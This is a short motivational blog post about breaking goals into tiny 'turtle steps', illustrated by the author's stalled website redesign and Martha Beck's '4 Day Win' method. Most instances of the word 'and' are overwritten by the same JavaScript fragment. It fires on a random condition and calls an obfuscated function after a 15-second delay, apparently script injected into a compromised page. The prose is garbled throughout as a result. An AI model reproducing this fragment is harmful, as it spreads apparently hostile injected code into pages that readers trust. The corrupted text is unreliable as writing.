Small Steps Equal Big Results

     My blog last week was about the knowing-doing gap, knowing what you need to do to accomplish your goals, but getting stuck in the “doing”. I gave some suggestions of how to find your way out of that gap. In writing that blog, something funny happened: I realized I was in middle of the knowing –doing gap myself.

     I had a programmer create a temporary website for my business to serve as a basic informational andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and contact website until I finished designing the layout of my permanent website. Since I set that temporary site up, I have been caught up in internal turmoil over exactly how I want my permanent site to look. Do I want a blog centered site or more informational? How should I do the layout? What colors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pictures should I use? How many tabs? How much content? I have been driving myself crazy with all the details to the point of indecision andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and yes, no movement. Stuck.

     I needed to break it down into turtle steps. Turtle steps are steps so small that the feeling of overwhelm does not stop me from completing the task. When I say small, I mean miniscule. I broke it down to just e-mailing an inquiry to two web designers I know to ask about layouts andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and blog templates. My next small step was to research other web designers. I could put this small task as a half an hour appointment in my daily schedule. The next day I could narrow down my list of potential designers andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and call them for price quotes, another short half hour task. After a few days, I began to think about how I wanted to organize the tabs on my website. Before I knew it, these small steps had led to something huge: I had a new framework for my website design. Now I could actually have it built andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and refine it from there. No more endless thought swirls telling me what I should or shouldn’t do, it was all about action.

     By taking my actions andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and breaking them down into small steps I didn’t have that feeling of I don’t have enough time for this. Dr. Martha Beck has a system she calls the 4 Day Win. Take your goal andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and break it down into turtle steps. Designate a half-hour each day for 4 days to work on accomplishing the task. When you complete the task, reward yourself with something fun. Then move onto the next set of turtle steps andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and repeat the process. You’ll notice you’re getting more done andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and having more fun. Many people miss the importance of taking small steps. I know I did. But when you slow down andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and take it one step at a time, you really do win the race.

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